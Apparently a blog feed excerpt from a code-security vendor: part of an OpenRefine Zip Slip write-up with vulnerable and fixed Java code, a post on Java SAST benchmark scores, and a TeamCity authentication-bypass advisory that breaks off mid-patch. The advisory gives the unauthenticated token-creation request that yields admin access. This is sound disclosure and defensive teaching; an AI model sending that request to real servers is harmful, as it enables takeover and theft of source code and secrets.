changed:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;OpenRefine/server/src/com/google/refine/Refine.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class RefineServer extends Server {
  static private void scanForUpdates(...) {
    // ...
    scanList.add(new File(contextRoot, &quot;WEB-INF/web.xml&quot;));
    findFiles(&quot;.class&quot;, new File(contextRoot, &quot;WEB-INF/classes&quot;), scanList);
    findFiles(&quot;.jar&quot;, new File(contextRoot, &quot;WEB-INF/lib&quot;), scanList);
    // ...
    scanner.addListener(new Scanner.BulkListener() {
      public void filesChanged() {
        try {
          context.stop();
          context.start();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;All classes within the &lt;code&gt;WEB-INF/classes&lt;/code&gt; folder are reloaded during the restart of the &lt;code&gt;WebAppContext&lt;/code&gt;. This means that attackers could overwrite an existing &lt;code&gt;.class&lt;/code&gt; file within this folder, which triggers the reload and subsequently executes the attacker&amp;#x27;s &lt;code&gt;.class&lt;/code&gt; file, resulting in the ability to execute arbitrary code.&lt;/p&gt;&lt;h3&gt;Mitigation, Pitfall, and Patch&lt;/h3&gt;&lt;p&gt;In order to mitigate this vulnerability, it needs to be ensured that all files are extracted under the intended base folder. One way you might think of doing this is by using the &lt;code&gt;getCanonicalPath&lt;/code&gt; method to retrieve the absolute and unique path as a String and then leverage the &lt;code&gt;startsWith&lt;/code&gt; method to verify that the destination path is part of the intended base folder:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Caution:&lt;/strong&gt; This does not fully fix the vulnerability!&lt;strong&gt; &lt;/strong&gt;Can you spot the problem here?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;        while ((tarEntry = tin.getNextTarEntry()) != null) {
            File destEntry = new File(destDir, tarEntry.getName());
+            if (!destEntry.getCanonicalPath().startsWith(destDir.getCanonicalPath())) {
+                throw new IllegalArgumentException(&quot;Zip archives with files escaping their root directory are not allowed.&quot;);
+            }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;getCanonicalPath&lt;/code&gt; method removes terminating path separators, which makes this still vulnerable to a &lt;strong&gt;partial path traversal&lt;/strong&gt;!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Assuming the base folder (&lt;code&gt;destDir&lt;/code&gt;) is defined as the home directory of the user john (&lt;code&gt;&amp;quot;/home/john/&amp;quot;&lt;/code&gt;), the trailing slash is removed, resulting in &lt;code&gt;&amp;quot;/home/john&amp;quot;&lt;/code&gt;. This means that attackers could still partially path traversal to another user’s home directory beginning with the same characters, e.g., &lt;code&gt;&amp;quot;/home/johnny/&amp;quot;&lt;/code&gt; since this passes the check:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&quot;/home/johnny/.ssh/id_rsa&quot;.startsWith(&quot;/home/john&quot;) == true&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A real-life example of such a partial path traversal vulnerability can be found &lt;a href=&quot;https://github.com/aws/aws-sdk-java/security/advisories/GHSA-c28r-hw5m-5gv3&quot;&gt;here&lt;/a&gt;, which is covered in more detail in the related &lt;a href=&quot;https://www.youtube.com/watch?v=zTtbVxGEq8A&quot;&gt;Black Hat talk by Jonathan Leitschuh&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We continuously keep track of freshly unveiled pitfalls like this and add them to our engine. To correctly fix a vulnerability, you can click on the &lt;code&gt;&amp;quot;How can I fix it?&amp;quot;&lt;/code&gt; tab directly attached to the corresponding issue on SonarCloud:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/38e4435b-c7d2-4853-8e29-5df0c3f6ccb3/openrefine-howtofix.png&quot; /&gt;&lt;p&gt;In order to prevent this partial path traversal, there are two different approaches:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Reinsert the path separator for the base folder after calling &lt;code&gt;getCanonicalPath&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Retrieve the &lt;code&gt;Path&lt;/code&gt; object related to the &lt;code&gt;File&lt;/code&gt; and use its &lt;code&gt;startsWith&lt;/code&gt; method. This does not literally compare the path’s string but determines this on a path’s elements basis.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For OpenRefine, the maintainers avoided falling into this trap. They correctly &lt;a href=&quot;https://github.com/OpenRefine/OpenRefine/commit/e9c1e65d58b47aec8cd676bd5c07d97b002f205e&quot;&gt;fixed&lt;/a&gt; the vulnerability by leveraging the &lt;code&gt;toPath&lt;/code&gt; method:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;        while ((tarEntry = tin.getNextTarEntry()) != null) {
            File destEntry = new File(destDir, tarEntry.getName());
+            if (!destEntry.toPath().normalize().startsWith(destDir.toPath().normalize())) {
+                throw new IllegalArgumentException(&quot;Zip archives with files escaping their root directory are not allowed.&quot;);
+            }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This effectively prevents files from being written outside the intended &lt;code&gt;destDir&lt;/code&gt; folder.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-07&lt;/td&gt;&lt;td&gt;We report the issue to the maintainers&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-08&lt;/td&gt;&lt;td&gt;Maintainers confirm the issue and start working on a patch&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-17&lt;/td&gt;&lt;td&gt;OpenRefine Version 3.7.4 is released, which fixes the issue&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-17&lt;/td&gt;&lt;td&gt;CVE-2023-37476 is assigned&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;OpenRefine Zip Slip Vulnerability: Summary&lt;/h2&gt;&lt;p&gt;In this article, we deep-dived into a critical Zip Slip vulnerability in OpenRefine. We also outlined how attackers can leverage an application’s features to turn a file write into arbitrary code execution. Furthermore, we highlighted common pitfalls developers may face when trying to fix this path traversal vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With the help of &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, this vulnerability was not only detected in a matter of seconds, it could also be fixed properly by relying on the comprehensive information SonarCloud provides for each raised issue. This applies to security issues, but also code quality problems, which helps developers to write Clean Code, increasing security, maintainability, and reliability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we would like to thank the OpenRefine maintainers for quickly responding to our notification, providing a comprehensive patch, and transparently informing all users.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/deeper-sast-uncovers-hidden-security-vulnerabilities/&quot;&gt;Uncovering hidden security vulnerabilities with deeper SAST&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/a-twist-in-the-code-openmeetings-vulnerabilities-through-unexpected-application-state/&quot;&gt;A Twist in the Code: OpenMeetings Vulnerabilities through Unexpected Application State&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/&quot;&gt;Pretalx Vulnerabilities: How to get accepted at every conference&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/remote-code-execution-in-melis-platform/&quot;&gt;Remote Code Execution in Melis Platform&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Sonar's Scoring on the Top 3 Java SAST Benchmarks]]></title><description><![CDATA[ Enhancing SAST Detection: Sonar's Scoring on the Top 3 Java SAST Benchmarks]]></description><link>https://www.sonarsource.com/blog/sonar-s-scoring-on-the-top-3-java-sast-benchmarks</link><guid isPermaLink="false">9ebc3f64-34a1-5421-b13c-d459866e6b29</guid><dc:creator><![CDATA[Alexandre Gigleux]]></dc:creator><pubDate>Tue, 26 Sep 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In our &lt;a href=&quot;https://www.sonarsource.com/blog/enhancing-sast-detection-leveraging-benchmarks-for-measuring-progress/&quot;&gt;previous blog post&lt;/a&gt;, we discussed the importance of leveraging benchmarks to track the progress of our SAST capabilities. If you haven&amp;#x27;t read it, here&amp;#x27;s a quick summary. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;In January 2023, we decided to use popular SAST benchmarks to track the progress of our SAST capabilities but also to be transparent about what should be detected and not detected on these benchmarks to help the overall SAST market raise the bar and bring clarity and eliminate ambiguity. We will publish Sonar’s scores for Java, C#, and Python SAST benchmarks and everything required to reproduce the figures.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Today, we are excited to share more details about the Top 3 Java SAST benchmarks, namely:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The ground truth corresponding to the list of expected and not expected issues&lt;/li&gt;&lt;li&gt;How Sonar scores on these selected benchmarks&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For those who aren’t familiar, here’s a quick reminder about acronyms we typically use in the context of computing benchmark results:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;TP = number of True Positives = issues expected and detected&lt;/li&gt;&lt;li&gt;FP = number of False Positives = issues not expected but detected&lt;/li&gt;&lt;li&gt;FN = number of False Negatives = issues expected but not detected&lt;/li&gt;&lt;li&gt;True Positive Rate (TPR) = TP / (TP + FN)&lt;/li&gt;&lt;li&gt;False Discovery Rate (FDR)  = FP / (FP + TP)&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Our approach &lt;/h3&gt;&lt;p&gt;We looked at 109 projects available on GitHub related to SAST benchmarks. This corresponds to projects that are candidates to be considered as benchmarks on which we want to apply our selection criteria. Out of these, we selected the top 3 based on the following criteria:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The main language is Java&lt;/li&gt;&lt;li&gt;The project is a vulnerable application even if it was not originally designed as a SAST benchmark because it’s usually what people we talk to (users, prospects, customers), choose to assess the maturity of SAST products&lt;/li&gt;&lt;li&gt;The project should be not archived&lt;/li&gt;&lt;li&gt;The project should have test cases corresponding to problems that are in the code and can be detected by a SAST engine.&lt;/li&gt;&lt;li&gt;The project should have test cases corresponding to web applications&lt;/li&gt;&lt;li&gt;The project should not be linked to a vendor to avoid bias&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, the ordering was done on the popularity of the benchmark, without looking at its internal quality (no judgment) The popularity was determined by a couple of factors: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;the number of GitHub votes&lt;/li&gt;&lt;li&gt;the number of times prospects or customers talk about it with us&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Based on this, we selected these 3 Java projects:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/OWASP-Benchmark/BenchmarkJava&quot;&gt;OWASP Benchmark&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/WebGoat/WebGoat&quot;&gt;OWASP WebGoat&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/OWASP/SecurityShepherd&quot;&gt;OWASP Security Shepherd&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Our findings&lt;/h3&gt;&lt;p&gt;At Sonar, we consider that a good SAST solution should have a True Positive Rate at 90% and a False Discovery Rate lower than 10%.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s now proceed to share the scores of Sonar on these benchmarks:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/279a9261-b8bf-4179-9f06-15339b55a0a5/owasp_benchmark-2.webp&quot; /&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/fd837bca-643a-486c-b772-e4f0a80b59ea/owasp_webgoat-2.webp&quot; /&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d973a636-68bd-4685-9ed8-9e15d274a97b/owasp_security_shepherd-2.webp&quot; /&gt;&lt;p&gt;As you can see by yourself, the results are pretty good. For the OWASP Benchmark and SecurityShepherd is even beyond our expectations for the TPR. For WebGoat, we are very close to our own internal target.&lt;/p&gt;&lt;p&gt;In all cases, we will not give up and will continue to improve our Java SAST engine to always provide more accurate and actionable results.&lt;/p&gt;&lt;h3&gt;Our computation&lt;/h3&gt;&lt;p&gt;We said it in the first part of this blog series, usually SAST vendors just claim but don’t provide anything to reproduce their results. At Sonar, we want to change that. To replicate these results, access the ground truths provided in the &lt;a href=&quot;https://github.com/SonarSource/sonar-benchmarks-scores&quot;&gt;sonar-benchmarks-scores&lt;/a&gt; repository. It&amp;#x27;s recommended to utilize the most recent version of either SonarQube Developer Edition or SonarCloud.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In addition to the ground truth file for each benchmark, we also provide a special file called ignored-findings.json. Sonar has this unique concept of Security Hotspot. Security Hotspots detect precise code patterns, but the information to know if the finding should be fixed or not is not contained in the code. This is why we request users using our products to manually review detected Hotspots to assess with human eyes if there is really a change to be done. This file is there to simulate this manual activity that only a human can perform to assess for example that no security sensitive data is leaking. In a nutshell, the ignored-findings.json contains the list of Security Hotspots that are safe.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The ground truths correspond to the Sonar AppSec team&amp;#x27;s perspective on the issues that should be detected or not detected. We acknowledge that we may have made mistakes, so if you come across any misclassifications, please don&amp;#x27;t hesitate to report them &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Final word&lt;/h3&gt;&lt;p&gt;By sharing the ground truths and showcasing how Sonar scores on these Java SAST benchmarks, our goal is to bring transparency and help companies make well-informed decisions about their SAST solutions. We strongly believe that by sharing our TPR, FDR, and the ground truths, users will gain a better understanding of the effectiveness and accuracy of Sonar&amp;#x27;s security analyzers. Learn more about Sonar SAST solutions &lt;a href=&quot;https://www.sonarsource.com/lp/solutions/security/&quot;&gt;here&lt;/a&gt;, and sign up using the simple form below to be notified for the next in the series on Sonar&amp;#x27;s performance in the Top 3 C# SAST Benchmarks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Alex&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Source Code at Risk: Critical Code Vulnerability in CI/CD Platform TeamCity]]></title><description><![CDATA[Our Vulnerability Research team discovered a critical vulnerability in the popular CI/CD server TeamCity, which attackers could use to steal source code and poison build artifacts.]]></description><link>https://www.sonarsource.com/blog/teamcity-vulnerability</link><guid isPermaLink="false">fdea7f16-c03a-543c-9319-cc57ff093c64</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Tue, 26 Sep 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Update 2023-09-27: Full technical details added (see &lt;em&gt;Technical Details&lt;/em&gt; section).&lt;/strong&gt;&lt;/p&gt;&lt;h2&gt;Key Information&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Sonar’s Vulnerability Research Team has discovered a critical security vulnerability in TeamCity, a popular Continuous Integration and Continuous Deployment (CI/CD) server from JetBrains.&lt;/li&gt;&lt;li&gt;The discovered vulnerability tracked as &lt;a href=&quot;https://cve.report/CVE-2023-42793&quot;&gt;CVE-2023-42793&lt;/a&gt; allows unauthenticated attackers to execute arbitrary code on the TeamCity server (remote code execution, RCE).&lt;/li&gt;&lt;li&gt;Attackers could leverage this access to steal source code, service secrets, and private keys, take control over attached build agents, and poison build artifacts.&lt;/li&gt;&lt;li&gt;JetBrains released a &lt;a href=&quot;https://blog.jetbrains.com/teamcity/2023/09/critical-security-issue-affecting-teamcity-on-premises-update-to-2023-05-4-now/&quot;&gt;dedicated blog post&lt;/a&gt; providing comprehensive information about the vulnerability.&lt;/li&gt;&lt;li&gt;The vulnerability was fixed with &lt;a href=&quot;https://www.jetbrains.com/help/teamcity/teamcity-2023-05-4-release-notes.html&quot;&gt;TeamCity version 2023.05.4&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;TeamCity is a widely used Continuous Integration and Continuous Deployment (CI/CD) server from JetBrains deployed by more than 30,000 customers worldwide. The application can either be used via the cloud-hosted solution TeamCity Cloud or deployed on an own server via TeamCity on-premises. According to Shodan, more than 3,000 of these on-premises servers are directly exposed to the Internet.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;CI/CD servers like TeamCity are used to automate the process of building, testing, and deploying software applications. This means that these servers have access to one of the most valuable assets of a company: source code. Since they are also responsible for building and deploying this source code, they not only store sensitive secrets and keys but also control the build artifacts, which become part of a software release. This makes CI/CD servers a high-value target for attackers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we explain the code vulnerability we discovered in TeamCity, determine the root cause of it, and describe how this and similar vulnerabilities can be prevented.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;TeamCity server version &lt;strong&gt;2023.05.3 and below&lt;/strong&gt; is prone to an authentication bypass, which allows an &lt;strong&gt;unauthenticated attacker &lt;/strong&gt;to gain &lt;strong&gt;remote code execution (RCE)&lt;/strong&gt; on the server. This enables attackers not only to steal source code but also stored service secrets and private keys. And it’s even worse: With access to the build process, attackers can inject malicious code, compromising the integrity of software releases and impacting all downstream users. The attack does &lt;strong&gt;not&lt;/strong&gt; require any user interaction:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/O2p-6I8RK5c&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;We want to emphasize the importance of prompt action to mitigate this risk. &lt;/strong&gt;Because this vulnerability does not require a valid account on the target instance and is trivial to exploit, it is likely that this vulnerability will be exploited in the wild.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We strongly advise all TeamCity users to apply the latest patch provided by JetBrains as soon as possible. The first release known to address the vulnerability is &lt;a href=&quot;https://www.jetbrains.com/help/teamcity/teamcity-2023-05-4-release-notes.html&quot;&gt;TeamCity version 2023.05.4&lt;/a&gt;. TeamCity Cloud is not affected by the vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Indicators of Compromise&lt;/h2&gt;&lt;p&gt;The existence of an authentication token named &lt;code&gt;RPC2&lt;/code&gt; is a strong indicator of compromise. A token with this name was very likely created by an unauthorized and potentially malicious user to gain access to the server:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e92da7bc-c686-4c89-b47c-bdda663589b6/token.png&quot; /&gt;&lt;p&gt;Please notice that an attacker may have deleted or renamed the token after gaining a foothold on the server.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In the interest of responsible disclosure and ethical reporting, it’s crucial to emphasize that the technical details of this critical vulnerability were disclosed only after careful consideration and the &lt;a href=&quot;https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis&quot;&gt;public release of a corresponding exploit&lt;/a&gt;. Every effort was made to ensure that JetBrains had adequate time and information to address and remediate the vulnerability. The goal is not only to highlight the potential risks and solutions but also to collaborate towards a safer and more secure digital landscape for all stakeholders involved.&lt;/p&gt;&lt;h3&gt;Request Interceptors&lt;/h3&gt;&lt;p&gt;TeamCity uses request interceptors in order to perform specific actions for &lt;strong&gt;every HTTP request&lt;/strong&gt;. One of these actions implemented via a &lt;a href=&quot;https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/servlet/HandlerInterceptor.html&quot;&gt;request interceptor&lt;/a&gt; is the authorization mechanism.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The class responsible for applying this and other interceptors is called &lt;code&gt;RequestInterceptors&lt;/code&gt;. When a request is received, the &lt;code&gt;preHandle&lt;/code&gt; method of this class is invoked, which determines if the request is suitable for pre-handling by calling &lt;code&gt;requestPreHandlingAllowed&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;jetbrains.buildServer.controllers.interceptors.RequestInterceptors&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public final boolean preHandle(HttpServletRequest req, ...) {
    if (!this.requestPreHandlingAllowed(req)) {
        return true;
    }
    // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Amongst other things, this method checks if the requested path matches a predefined list of path expressions (&lt;code&gt;myPreHandlingDisabled&lt;/code&gt;). For matching paths, no pre-handling should be applied:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;jetbrains.buildServer.controllers.interceptors.RequestInterceptors&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private boolean requestPreHandlingAllowed(@NotNull HttpServletRequest req) {
    // ...
    if (!this.myPreHandlingDisabled.matches(WebUtil.getPathWithoutContext(req))) {
        return true;
    }
    // path matches myPreHandlingDisabled? no pre-handling!
    return false;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the constructor of &lt;code&gt;RequestInterceptors&lt;/code&gt;, two path expressions are added, which should be excluded from any pre-handling processing:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;jetbrains.buildServer.controllers.interceptors.RequestInterceptors&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public RequestInterceptors(@NotNull List&lt;HandlerInterceptor&gt; var1) {
    // ...
    this.myPreHandlingDisabled.addPath(&quot;/**&quot; + XmlRpcController.getPathSuffix());
    this.myPreHandlingDisabled.addPath(&quot;/app/agents/**&quot;);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first path expression starts with the static string &lt;code&gt;&amp;quot;/**&amp;quot;&lt;/code&gt;, followed by the return value of &lt;code&gt;XmlRpcController.getPathSuffix()&lt;/code&gt;, which returns the static string &lt;code&gt;&amp;quot;/RPC2&amp;quot;&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;jetbrains.buildServer.controllers.XmlRpcController&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class XmlRpcController extends AbstractController {
    public static String getPathSuffix() {
        return &quot;/RPC2&quot;;
    }
    // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Thus, the resulting path expression is &lt;code&gt;&amp;quot;/**/RPC2&amp;quot;&lt;/code&gt;. For requests to a path matching this expression, no pre-handling interceptors are applied. &lt;strong&gt;This also means that for these requests, no authorization check is performed&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is particularly dangerous because this expression allows arbitrary prefixes in the requested path due to the two asterisks (&lt;code&gt;&amp;quot;/**/&amp;quot;&lt;/code&gt;). This effectively disables the authorization check for every request to a path ending with &lt;code&gt;/RPC2&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Request Path Parameters&lt;/h3&gt;&lt;p&gt;TeamCity provides a REST API for integrating external applications. The available endpoints are documented &lt;a href=&quot;https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html&quot;&gt;here&lt;/a&gt;. One of these endpoints allows the &lt;a href=&quot;https://www.jetbrains.com/help/teamcity/rest/userapi.html#addUserToken&quot;&gt;creation of a user authentication token&lt;/a&gt; via the route &lt;code&gt;/app/rest/users/&amp;lt;userLocator&amp;gt;/tokens&lt;/code&gt;. Since this endpoint route ends with the static suffix &lt;code&gt;&amp;quot;/tokens&amp;quot;&lt;/code&gt;, it cannot be used to bypass the authentication.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, the documentation does not contain all endpoints. There are additional hidden endpoints. One of these is a slightly different version of the token creation endpoint:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;jetbrains.buildServer.server.rest.request.UserRequest&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@Api(&quot;User&quot;)
@Path(UserRequest.API_USERS_URL)
public class UserRequest {
    // ...
    @Path(&quot;/{userLocator}/tokens/{name}&quot;)
    @ApiOperation(value = &quot;Create a new authentication token for the matching user.&quot;, nickname = &quot;addUserToken&quot;, hidden = true)
    @POST
    @Produces({&quot;application/xml&quot;, &quot;application/json&quot;})
    public Token createToken(@PathParam(&quot;userLocator&quot;) @ApiParam(format = &quot;UserLocator&quot;) String userLocator, @PathParam(&quot;name&quot;) @NotNull String name, ...) {
        // ...
        SUser user = this.myUserFinder.getItem(userLocator, true);
        AuthenticationToken token = tokenAuthenticationModel.createToken(user.getId(), name, ...);
        return new Token(token, ...);
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This endpoint also creates a user authentication token, but it additionally allows the provision of a name for this token via the &lt;code&gt;{name}&lt;/code&gt; request path parameter. Since this name can be arbitrarily set, &lt;code&gt;RPC2&lt;/code&gt; is considered valid:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4e27e8de-2903-449d-a018-648d21f78927/teamcity_rpc.png&quot; /&gt;&lt;p&gt;Thus, an unauthenticated attacker can create a new authentication token for any user via the following request:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;POST /app/rest/users/&lt;userLocator&gt;/tokens/RPC2&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The response to this request contains the authentication token for the user specified via the &lt;code&gt;&amp;lt;userLocator&amp;gt;&lt;/code&gt; (e.g., &lt;code&gt;id:1&lt;/code&gt; for the default admin account). This token can then be used to access the application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While we won&amp;#x27;t be sharing exploitation details, with access to the admin account, there are various ways to execute arbitrary code on the server.&lt;/p&gt;&lt;h2&gt;Learnings&lt;/h2&gt;&lt;p&gt;Authorization checks are usually applied to endpoint handlers individually. This might be as simple as adding a specific decorator or deriving the controller class from a predefined authenticated-only base controller class. TeamCity took an even more secure approach: all endpoints require the user to be authenticated by default. If an endpoint should be made available without authentication, this needs to be explicitly defined in the endpoint handler.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This secure-by-default approach is the preferred way, but it still has a blind spot: global request interceptors. Depending on the programming language and framework, these are usually called middleware, filters, hooks, or interceptors. The purpose of them is to perform specific actions for every HTTP request. Because they are implemented in a separate class or function independent of the specific endpoint handlers, they are often overlooked during security assessments. Whether you are looking at it from the defensive or offensive perspective: always consider these global request interceptors as part of the exposed attack surface!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another sensitive aspect from a security point of view is the usage of wildcard expressions. These are used in scenarios where a static value is not sufficient to represent all acceptable inputs. The downside of this is that an expression chosen too unrestrictively allows more than actually intended. In this case, the &lt;code&gt;&amp;quot;/**/RPC2&amp;quot;&lt;/code&gt; wildcard was never supposed to also include the REST API endpoints. To prevent these kinds of issues a generally good approach is to be as restrictive as possible.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;The vulnerability was fixed with &lt;a href=&quot;https://www.jetbrains.com/help/teamcity/teamcity-2023-05-4-release-notes.html&quot;&gt;TeamCity version 2023.05.4&lt;/a&gt;. By now, the only way the &lt;code&gt;/RPC2&lt;/code&gt; endpoint should be accessed is directly without any prefixes in the requested path. The patch removes the wildcard expression for the &lt;code&gt;/RPC2&lt;/code&gt; pre-handling exception:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;jetbrains.buildServer.controllers.interceptors.RequestInterceptors&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public 